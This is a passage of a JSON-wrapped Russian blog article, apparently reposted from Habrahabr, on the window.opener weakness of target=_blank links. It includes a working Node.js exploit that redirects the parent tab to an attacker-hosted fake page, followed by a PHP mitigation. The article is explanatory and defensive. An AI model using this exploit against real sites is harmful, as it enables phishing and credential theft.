decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/fe7\/15c\/291\/fe715c291536a590b6f36c18991bef7e.png\"\/><\/p>\n<p>  \u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441 \u044d\u0442\u0438\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u0441 FireFox. <\/p>\n<h3>Chrome<\/h3>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/123\/815\/51c\/12381551c216ff8c38af8748d97d3184.png\"\/><\/p>\n<p>  \u0412 \u0425\u0440\u043e\u043c\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a w.o \u0438\u043c\u0435\u0435\u0442\u0441\u044f, \u043d\u043e \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0440\u0435\u0436\u0435\u0442 \u043d\u0430\u0448\u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u043c\u0438\u043d\u0438\u043c\u0443\u043c\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/4d9\/710\/b19\/4d9710b193362e6cc53ad35035e1ee58.png\"\/><\/p>\n<h2>\u0410\u0442\u0430\u043a\u0443\u0435\u043c!<\/h2>\n<h3>FireFox<\/h3>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/72c\/e92\/283\/72ce922838c34434987b7ec5344de02c.png\"\/><\/p>\n<p>  \u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435: <\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/953\/f41\/b08\/953f41b08470b9e04b7faea49a88dc9e.png\"\/><\/p>\n<h3>Opera<\/h3>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/fc2\/b5c\/65c\/fc2b5c65c4bf0c29c5fe0a2b792cfa27.png\"\/><\/p>\n<p>  \u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c w.o:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/bd5\/f76\/23b\/bd5f7623b76ea12c1ae68679d7a61e8e.png\"\/><\/p>\n<h3>Chrome<\/h3>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/56e\/c44\/e15\/56ec44e15d007629a24a3c47b837f54b.png\"\/><\/p>\n<p>  \u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/95a\/f68\/d06\/95af68d06105d4dd744ba11ff1ac8e7d.png\"\/><\/p>\n<h3>\u041f\u0438\u0448\u0435\u043c exploit<\/h3>\n<p>  \u041d\u0443 \u0430 \u0435\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0438 exploit \ud83d\ude42<\/p>\n<pre><code>var http = require('http');  if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)}  http.createServer(function (rq, rs) {  rs.writeHead(200, {'Content-Type': 'text\/html'}); \/\/\u0432\u0441\u0435\u043c \u0434\u043e\u0431\u0440\u0430, \u0432\u0441\u0435\u043c 200   if(!rq.headers.referer){ \/\/ \u0435\u0441\u043b\u0438 Referer \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442  rs.end('');  console.log('Referer is undefined!');  process.exit(1);  }  var host=require('url').parse(rq.headers.referer).hostname; \/\/ \u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d \u0438\u0437 Referer'\u0430  var out=&quot;&lt;html&gt;&lt;script&gt;&quot;+  &quot;window.opener.location='http:\/\/&quot;+process.argv[2]+&quot;:&quot;+process.argv[3]+&quot;\/&quot;+host+&quot;.html';&quot;+ \/\/\u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e  &quot;window.close()&quot;+    \/\/\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u043e\u043a\u043d\u043e   &quot;&lt;\/script&gt;&lt;\/html&gt;&quot;;  rs.end(out); \/\/\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u043f\u043e\u0434\u043c\u0435\u043d\u0443  console.log('Window.opener changed!');  process.exit(1);   }).listen(80) \/\/ \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u0441\u044f \u043d\u0430 80 \u043f\u043e\u0440\u0442\u0443 <\/code><\/pre>\n<p>  \u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0441\u0442\u0435\u043d\u044c\u043a\u0438\u0439 \u043a\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u0432\u043e \u0432\u043a\u043b\u0430\u0434\u043a\u0435-\u0440\u043e\u0434\u0438\u0442\u0435\u043b\u0435.<br \/>  \u041e\u0433\u043e\u0432\u043e\u0440\u044e\u0441\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u0438\u0434\u0442\u0438 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441: <a href=\"http:\/\/site\">site<\/a>:port\/referer.html. \u0413\u0434\u0435 \u00abreferer\u00bb \u2014 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u0438\u0434\u0430 site.*<br \/>  \u0412\u0432\u0438\u0434\u0443 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0441\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e, \u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043b \u0432\u0438\u0434\u0435\u043e:<\/p>\n<p>  <iframe loading=\"lazy\" width=\"560\" height=\"349\" src=\"http:\/\/www.youtube.com\/embed\/Q09GA9oOEs8\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<h2>\u0417\u0430\u0449\u0438\u0442\u0430<\/h2>\n<p>  \u0425\u043e\u0440\u043e\u0448\u043e, \u043c\u044b \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u043d\u0430\u043f\u0430\u0434\u0435\u043d\u0438\u044f, \u043d\u043e \u043a\u0430\u043a \u0436\u0435 \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f?<br \/>  \u0422\u0443\u0442 \u0435\u0441\u0442\u044c \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f: \u043b\u0438\u0431\u043e \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430 target, \u0442\u0435\u0433\u0430 \u0430, \u043d\u0430 \u201c_self\u201d, \u043b\u0438\u0431\u043e \u0442\u0430\u043d\u0446\u0435\u0432\u0430\u0442\u044c \u0441 \u0431\u0443\u0431\u043d\u043e\u043c, \u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u043a\u043d\u0435.\u0423\u0433\u0430\u0434\u0430\u0439\u0442\u0435, \u043a\u0430\u043a\u0438\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043c\u044b \u043f\u043e\u0439\u0434\u0435\u043c?<\/p>\n<p>  \u0424\u0438\u043a\u0441 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442: \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u0438\u0435 window.opener \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f null. <br \/>  \u041d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 php \u043a\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c w.o \u043d\u0430 null \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u044e \u043d\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0441\u0443\u0440\u0441.<\/p>\n<pre><code>&lt;?php $url=str_replace('data:','',$_GET['href']); \/\/\u0443\u0434\u0430\u043b\u0438\u043c &quot;data:&quot; $url=htmlspecialchars(str_replace('javascript:','',$url)); \/\/\u0437\u0430\u0449\u0438\u0442\u0438\u043c\u0441\u044f \u043e\u0442 XSS  if(!$url){die();}; echo &quot;&lt;html&gt;&quot;; echo &quot;&lt;body&gt;&quot;; echo &quot;&lt;script&gt;&quot;; echo &quot;window.opener=null;&quot;; \/\/\u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c w.o \u043d\u0430 null echo &quot;document.location='&quot;.$url.&quot;';&quot;; \/\/\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435  echo &quot;&lt;\/script&gt;&quot;; echo &quot;&lt;\/body&gt;&quot;; echo &quot;&lt;\/html&gt;&quot;; ?&gt; <\/code><\/pre>\n<p>  \u041d\u0430\u043c \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0444\u0438\u043a\u0441 \u0432 \u043d\u0430\u0448\u0435\u043c \u043a\u043e\u0434\u0435(1).<br \/>  \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0448 php \u0444\u0430\u0439\u043b \u0445\u0440\u0430\u043d\u0438\u0442\u044c\u0441\u044f \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443: <a href=\"http:\/\/site.com\/file.php\">site.com\/file.php<\/a><br \/>  \u0422\u043e\u0433\u0434\u0430 \u043d\u0430\u0448 \u043a\u043e\u0434(1) \u043f\u0440\u0438\u043c\u0435\u0442 \u0432\u0438\u0434:<\/p>\n<pre><code>\/**\/ rs.end('&lt;center&gt;&lt;br&gt;&lt;a href=&quot;http:\/\/site.com\/file.php?href='+host+'&quot; target=&quot;_blank&quot;&gt;click-click&lt;\/a&gt;&lt;br&gt;Hey, '+cookie+'! &lt;\/center&gt;'); \/**\/ <\/code><\/pre>\n<p>  \u0410 \u0432\u043e\u0442 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430\u0448\u0435\u0433\u043e \u00ab\u0448\u0430\u043c\u0430\u043d\u0441\u0442\u0432\u0430\u00bb:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/254\/e4d\/cfc\/254e4dcfca6ac68e84c54f2d1b0c03b9.png\"\/><\/p>\n<p>  \u0414\u0430, \u044d\u0442\u043e \u043d\u0435\u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043a\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u044f \u043c\u043e\u0433\u0443 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442.<br \/>  \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0438\u0434\u0435\u0438, \u0442\u043e, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0439\u0442\u0435 \u0438\u0445 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445.<\/p>\n<h2>\u0417\u043b\u043e\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h2>\n<p>  \u0421\u0440\u0435\u0434\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u044f \u043c\u043e\u0433\u0443 \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c<br \/>  \u0413\u0443\u0433\u043b:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/791\/ac3\/fe7\/791ac3fe74f5f7a46ceea54ae39a9777.png\"\/><\/p>\n<hr\/>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/148\/977\/db3\/148977db30ddf44a54e04943c006486d.png\"\/><\/p>\n<p>  \u0420\u0430\u043c\u0431\u043b\u0435\u0440:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/530\/f60\/e1a\/530f60e1ac262a1a3615c56a2800718f.png\"\/><\/p>\n<hr\/>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/6ba\/e1a\/b67\/6bae1ab6786e85a1e5ed497e5e10c1b1.png\"\/><\/p>\n<p>  \u0421\u043f\u0438\u0441\u043e\u043a \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c \u0434\u043e \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0441\u0442\u0438. <\/p>\n<p>  \u0418 \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0434\u0430\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u043b\u0435\u043d\u0438\u044f. <br \/>  \u0412\u044b \u043d\u0435 \u0438\u043c\u0435\u0435\u0442\u0435 \u043f\u0440\u0430\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0430\u0442\u0430\u043a, \u0438\u043d\u0430\u0447\u0435 \u0432\u0430\u0441 \u043f\u043e\u043a\u0430\u0440\u0430\u0435\u0442 \u0423\u041a \u0420\u0424!<br \/>  Have a nice day!    \t \t\t   \t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/164539\/\"> http:\/\/habrahabr.ru\/post\/164539\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">   \t\u0422\u0435\u0433 a \u2014 \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445, \u043d\u043e \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f window.opener. <br \/>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0432\u0430\u0441 \u0436\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043e\u0431 \u043e\u0434\u043d\u043e\u0439 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0433\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-164539","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/164539","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=164539"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/164539\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=164539"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=164539"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=164539"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}